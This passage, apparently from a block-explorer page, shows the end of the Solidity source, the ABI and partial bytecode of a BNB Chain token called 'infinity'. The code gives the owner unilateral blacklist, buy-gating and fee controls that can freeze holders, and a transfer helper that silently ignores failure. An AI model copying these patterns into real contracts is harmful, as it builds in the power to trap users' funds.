        return _binders[account].length;
    }

    function setExcludeInvitor(address addr, bool enable) external onlyOwner {
        excludeInvitor[addr] = enable;
    }

    function getInvitor(
        address account
    ) external view returns (address invitor) {
        invitor = _inviter[account];
        if (excludeInvitor[invitor]) {
            invitor = address(0);
        }
    }

    mapping(uint256 => mapping(address => uint256)) public _blockTxAmount;

    mapping(address => bool) public _blackList;

    function setBlackList(address addr, bool enable) external onlyOwner {
        _blackList[addr] = enable;
    }

    function batchSetBlackList(
        address[] memory addr,
        bool enable
    ) external onlyOwner {
        for (uint i = 0; i < addr.length; i++) {
            _blackList[addr[i]] = enable;
        }
    }

    address public specialAddress;
    function setSpecialAddress(address addr) external onlyOwner {
        specialAddress = addr;
        _feeWhiteList[addr] = true;
    }

    function setFund2Address(address addr) external onlyOwner {
        fund2Address = addr;
        _feeWhiteList[addr] = true;
    }

    mapping(address => bool) public _preBuy;
    mapping(address => bool) public _buyList;
    uint256 public _preLimitAmount = 1000 ether;

    function batchSetBuyList(
        address[] memory addr,
        bool enable
    ) external onlyOwner {
        for (uint i = 0; i < addr.length; i++) {
            _buyList[addr[i]] = enable;
        }
    }

    function setPreLimitAmount(uint256 amount) external onlyOwner {
        _preLimitAmount = amount;
    }

    function _safeTransferFrom(
        address token,
        address from,
        address to,
        uint value
    ) internal {
        // bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
        (bool success, ) = token.call(
            abi.encodeWithSelector(0x23b872dd, from, to, value)
        );
        if (success) {}
    }

    bool public _startBuy;
    uint256 public _startBuyCondition;

    function setStartBuy(bool enable) external onlyOwner {
        _startBuy = enable;
    }

    function setStartBuyCondition(uint256 c) external onlyOwner {
        _startBuyCondition = c;
    }

    function _checkStartBuy() private {
        if (!_startBuy) {
            (uint256 rUsdt, ) = __getReserves();
            if (rUsdt >= _startBuyCondition) {
                _startBuy = true;
            }
        }
    }
}

contract infinity is AbsToken {
    constructor()
        AbsToken(
            //SwapRouter
            address(0x10ED43C718714eb63d5aA57B78B54704E256024E),
            address(0x55d398326f99059fF775485246999027B3197955),
            "infinity",
            "infinity",
            18,
            21000000,
            address(0xf523EF53D80353dEdFA800e9a5B1507B48843BD0),
            address(0xEC5FD10B1b0e02cD693d590Ff77f272856Cf3a55),
            1000,
            address(0xEC5FD10B1b0e02cD693d590Ff77f272856Cf3a55),
            address(0xEC5FD10B1b0e02cD693d590Ff77f272856Cf3a55)
        )
    {}
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"__getReserves","outputs":[{"internalType":"uint256","name":"rOther","type":"uint256"},{"internalType":"uint256","name":"rThis","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint256","name":"","type":"uint256"}],"name":"_binders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_blackList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"address","name":"","type":"address"}],"name":"_blockTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFund2Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyUsdtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeWhiteList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_getReserves","outputs":[{"internalType":"uint256","name":"rOther","type":"uint256"},{"internalType":"uint256","name":"rThis","type":"uint256"},{"internalType":"uint256","name":"balanceOther","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_inviter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lockAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_mainPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_preBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_preLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_removeLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_removePreLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rewardGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFund2Fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPDividendFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLPFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellProfitFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellProfitInviteFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellProfitSpecialFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_stakePool","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_startBuy","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_startBuyCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_strictCheck","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapBuyUsdtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapPairList","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapRouters","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_swapSellUsdtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_transferFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_usdtDistributor","outputs":[{"internalType":"contract TokenDistributor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"addBuyUsdtAmout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"lpAmounts","type":"uint256[]"}],"name":"batchInitLPAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"batchSetBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"batchSetBuyList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addr","type":"address[]"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"batchSetFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"address","name":"invitor","type":"address"}],"name":"bindInvitor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"claimToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"currentLPIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeInvitor","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"excludeLpProvider","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fund2Address","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getBinderLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getInvitor","outputs":[{"internalType":"address","name":"invitor","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLPProviderLength","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"getUserInfo","outputs":[{"internalType":"uint256","name":"lpAmount","type":"uint256"},{"internalType":"uint256","name":"lpBalance","type":"uint256"},{"internalType":"bool","name":"excludeLP","type":"bool"},{"internalType":"uint256","name":"preLPAmount","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"lpAmount","type":"uint256"}],"name":"initLPAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lpHoldCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"lpProviderIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"lpProviders","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpRewardCondition","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setBlackList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lpDividendFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"},{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"fund2Fee","type":"uint256"}],"name":"setBuyFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeInvitor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setExcludeLPProvider","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setFeeWhiteList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFund2Address","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setFundAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLPHoldCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLPRewardCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setLimitAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setLockAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"setPreLimitAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"profitFee","type":"uint256"},{"internalType":"uint256","name":"inviteFee","type":"uint256"},{"internalType":"uint256","name":"specialFee","type":"uint256"}],"name":"setProfitFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setRemoveLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setRemovePreLPFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"rewardGas","type":"uint256"}],"name":"setRewardGas","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lpDividendFee","type":"uint256"},{"internalType":"uint256","name":"lpFee","type":"uint256"},{"internalType":"uint256","name":"fundFee","type":"uint256"},{"internalType":"uint256","name":"fund2Fee","type":"uint256"}],"name":"setSellFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setSpecialAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"setStakePool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"setStartBuy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"name":"setStartBuyCondition","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enable","type":"bool"}],"name":"setStrictCheck","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"enable","type":"bool"}],"name":"setSwapRouter","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"fee","type":"uint256"}],"name":"setTransferFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"specialAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"stakeSync","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startAddLPBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTradeBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"usdtAmount","type":"uint256"}],"name":"updateBuyAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256","name":"usdtAmount","type":"uint256"}],"name":"updateBuysAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"uint256[]","name":"usdtAmounts","type":"uint256[]"}],"name":"updateBuysAmounts","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"lpAmount","type":"uint256"}],"name":"updateLPAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6101006040526064600c8190556000600d819055600e829055600f8190556010829055601181905560129190915560138190556018805460ff1916600117905560c8601a55612710601b556107d0601d556103e8601e55601f819055602055620c3500602155633b9aca00602755683635c9adc5dea000006034553480156200008757600080fd5b50604080518082018252600880825267696e66696e69747960c01b602080840182905284518086018652928352820152600080546001600160a01b03191633908117825593517310ed43c718714eb63d5aa57b78b54704e256024e947355d398326f99059ff775485246999027b31979559493926012926301406f409273f523ef53d80353dedfa800e9a5b1507b48843bd09273ec5fd10b1b0e02cd693d590ff77f272856cf3a55926103e892849283928291907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060056200016f8a826200088c565b5060066200017e89826200088c565b506007805460ff191660ff89161790556001600160a01b038a1660a08190528b903011620001d65760405162461bcd60e51b81526020600482015260016024820152607360f81b604482015260640160405180910390fd5b6001600160a01b038181166080819052306000908152600260209081526040808320848452825280832060001990819055601790925291829020805460ff1916600117905560a051915163095ea7b360e01b8152600481019390935260248301529091169063095ea7b3906044016020604051808303816000875af115801562000264573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028a919062000958565b5060a05160405163095ea7b360e01b815232600482015260001960248201526001600160a01b039091169063095ea7b3906044016020604051808303816000875af1158015620002de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000304919062000958565b5030600090815260026020908152604080832032845282528083206000199055805163c45a015560e01b815290516001600160a01b0385169263c45a015592600480820193918290030181865afa15801562000364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038a919062000983565b60a0516040516364e329cb60e11b81523060048201526001600160a01b0391821660248201529192506000919083169063c9c65396906044016020604051808303816000875af1158015620003e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000409919062000983565b6001600160a01b0381166000818152600a602081905260408220805460ff1916600117905560c09290925291925062000444908c9062000ac3565b9050600062000454828c62000ad4565b60098190556001600160a01b038b166000818152600160205260408082208490555192935090917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90620004ab9085815260200190565b60405180910390a3600380546001600160a01b0319166001600160a01b038b81169182179092556000908152600860209081526040808320805460ff1990811660019081179092558f861685528285208054821683179055308552828520805482168317905533855282852080548216831790557f5eff886ea0ce6ca488a3d6e336d6c0f75f46d19b42c06ce5ee98e42c96d256c7805482168317905561dead85527f046fee3d77c34a6c5e10c3be6dc4b132c30449dbf4f0bc07684896dd093342998054909116909117905560a051815163313ce56760e01b815291519394169263313ce567926004808401939192918290030181865afa158015620005b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620005dc919062000aee565b620005e990600a62000ac3565b9050620005f881606462000ad4565b6026556200060a600a60001962000b13565b6001600160a01b038b166000908152601660205260409020556200062e8a62000701565b601989905560a0516040516200064490620007d9565b6001600160a01b039091168152602001604051809103906000f08015801562000671573d6000803e3d6000fd5b506001600160a01b0390811660e052603180548a83166001600160a01b03199182168117909255600091825260086020526040808320805460ff19908116600190811790925560048054968e1696909416861790935593835290912080549091169091179055620006e681624c4b4062000ad4565b6036555062000b4c9f50505050505050505050505050505050565b6001600160a01b0381166000908152602360205260408120549003620007d6576022541580620007655750806001600160a01b031660226000815481106200074d576200074d62000b36565b6000918252602090912001546001600160a01b031614155b15620007d657803b801562000778575050565b50602280546001600160a01b0383166000818152602360205260408120839055600183018455929092527f61035b26e3e9eee00e0d72fd1ee8ddca6894550dca6916ea2ac6baa90d11e5100180546001600160a01b03191690911790555b50565b6101ba806200646b83390190565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200081257607f821691505b6020821081036200083357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200088757600081815260208120601f850160051c81016020861015620008625750805b601f850160051c820191505b8181101562000883578281556001016200086e565b5050505b505050565b81516001600160401b03811115620008a857620008a8620007e7565b620008c081620008b98454620007fd565b8462000839565b602080601f831160018114620008f85760008415620008df5750858301515b600019600386901b1c1916600185901b17855562000883565b600085815260208120601f198616915b82811015620009295788860151825594840194600190910190840162000908565b5085821015620009485787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200096b57600080fd5b815180151581146200097c57600080fd5b9392505050565b6000602082840312156200099657600080fd5b81516001600160a01b03811681146200097c57600080fd5b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000a05578160001904821115620009e957620009e9620009ae565b80851615620009f757918102915b93841c9390800290620009c9565b509250929050565b60008262000a1e5750600162000abd565b8162000a2d5750600062000abd565b816001811462000a46576002811462000a515762000a71565b600191505062000abd565b60ff84111562000a655762000a65620009ae565b50506001821b62000abd565b5060208310610133831016604e8410600b841016171562000a96575081810a62000abd565b62000aa28383620009c4565b806000190482111562000ab95762000ab9620009ae565b0290505b92915050565b60006200097c60ff84168362000a0d565b808202811582820484141762000abd5762000abd620009ae565b60006020828403121562000b0157600080fd5b815160ff811681146200097c57600080fd5b60008262000b3157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60805160a05160c05160e0516157b162000cba600039600081816109ee0152818161472b0152818161480f015281816148800152614987015260008181610a2201528181611895015281816118c60152818161196201528181611d370152818161241601528181612a4b01528181612a8601528181612c7301528181612d6601528181612e99015281816132df0152818161332501528181613a5a01528181613de80152613f6f015260008181611dd001528181612444015281816135b8015281816139bb01528181613cf1015281816143d8015281816146d401528181614756015281816148ab01528181614966015281816149f001528181614a5101528181614b0301528181614b5901528181614bbf0152614cf8015260008181612c1201528181612caf0152818161364601528181613e6e01528181614043015281816140d00152818161413701528181614432015281816147db01528181614c110152614d5201526157b16000f3fe6080604052600436106106355760003560e01c80637fe364b311610329578063ccdbd424116101b6578063e42121d011610102578063f12e6eb7116100a0578063f53dabb61161007a578063f53dabb6146113bd578063f57d2932146113dd578063f74e82a8146113fd578063ff67370c1461141357600080fd5b8063f12e6eb71461135d578063f2fde38b1461137d578063f40c5adc1461139d57600080fd5b8063e84fb12d116100dc578063e84fb12d146112da578063e9fad396146112f0578063ebdebcdb14611310578063ef34db691461133057600080fd5b8063e42121d01461127a578063e653da081461129a578063e82bef29146112ba57600080fd5b8063d83d41431161016f578063dd62ed3e11610149578063dd62ed3e146111e4578063de5c02c21461122a578063e00b4d1a1461124a578063e2b8e0721461126057600080fd5b8063d83d414314611198578063dd3719eb146111b8578063dd55c108146111ce57600080fd5b8063ccdbd424146110c6578063cd8d263d146110fc578063ce0192f91461111c578063ce4d9f1514611132578063d2c01fc414611162578063d5b267181461117857600080fd5b8063a5696d8911610275578063b0c73bc61161022e578063b9fbc49d11610208578063b9fbc49d1461104a578063c1eeda0214611060578063c2f0c04d14611090578063c7cc2c3b146110b057600080fd5b8063b0c73bc614610fea578063b2887bec1461100a578063b6a073591461102a57600080fd5b8063a5696d8914610f2e578063a842486114610f4e578063a9059cbb14610f6e578063a925a6bd14610f8e578063ab9cff9014610fa4578063adc7955d14610fd457600080fd5b80638f02bb5b116102e257806397dad339116102bc57806397dad33914610eb85780639bb8534414610ed85780639d218aa114610eee578063a1f0e73d14610f0e57600080fd5b80638f02bb5b14610e63578063917ceeb514610e8357806395d89b4114610ea357600080fd5b80637fe364b314610d8d57806385dc300414610dad57806386d37a4214610dcd578063896cbeb514610e055780638c5a133d14610e255780638da5cb5b14610e4557600080fd5b80634188bf5a116104c257806368092bd91161040e5780637355b15b116103ac57806379353c081161038657806379353c0814610d0d5780637a37a0ed14610d235780637ae290f814610d4d5780637fcdde5f14610d6d57600080fd5b80637355b15b14610cb857806374d002f114610cd8578063756b419014610ced57600080fd5b80636c580801116103e85780636c58080114610c385780636cbbfd5414610c4d57806370a0823114610c6d578063715018a614610ca357600080fd5b806368092bd914610bec5780636b61335014610c0c5780636c0d968d14610c2257600080fd5b8063595dec3c1161047b5780635ef01957116104555780635ef0195714610b5a57806361b746f214610b705780636386c1c714610b8657806363b9fb2e14610bcc57600080fd5b8063595dec3c14610aea5780635c25c30e14610b1a5780635d994ba614610b3a57600080fd5b80634188bf5a14610a10578063437c880214610a4457806346c123b614610a71578063553193ca14610a915780635584bb8014610aa757806355c4373314610ad457600080fd5b80631f107a4511610581578063300a68831161053a5780633bfe62ca116105145780633bfe62ca146109805780633c11100d146109965780633df9a8d2146109c657806340c728c3146109dc57600080fd5b8063300a68831461091e578063313ce5671461093e5780633a0e92881461096057600080fd5b80631f107a45146108265780632171dcc91461084657806321f3dd651461086657806323b872dd1461089e5780632adf1d52146108be5780632b01fc94146108ee57600080fd5b80630a607930116105ee5780631698755f116105c85780631698755f1461079b57806318160ddd146107bb5780631b5c150b146107d05780631b967ad4146107f057600080fd5b80630a6079301461074d578063141ae5661461076357806314e3afa21461078557600080fd5b806301873d8f1461064157806301986fad1461068657806304829076146106b657806304c23ffe146106f157806306fdde031461070b578063095ea7b31461072d57600080fd5b3661063c57005b600080fd5b34801561064d57600080fd5b5061067161065c366004614ffa565b60176020526000908152604090205460ff1681565b60405190151581526020015b60405180910390f35b34801561069257600080fd5b506106716106a1366004614ffa565b60086020526000908152604090205460ff1681565b3480156106c257600080fd5b506106e36106d1366004614ffa565b602b6020526000908152604090205481565b60405190815260200161067d565b3480156106fd57600080fd5b506018546106719060ff1681565b34801561071757600080fd5b50610720611433565b60405161067d919061503b565b34801561073957600080fd5b5061067161074836600461506e565b6114c5565b34801561075957600080fd5b506106e360105481565b34801561076f57600080fd5b5061078361077e3660046150a8565b6114dc565b005b34801561079157600080fd5b506106e3601b5481565b3480156107a757600080fd5b506107836107b636600461506e565b61153a565b3480156107c757600080fd5b506009546106e3565b3480156107dc57600080fd5b506107836107eb3660046150e1565b6115cf565b3480156107fc57600080fd5b506106e361080b366004614ffa565b6001600160a01b03166000908152602d602052604090205490565b34801561083257600080fd5b506107836108413660046150e1565b6115fe565b34801561085257600080fd5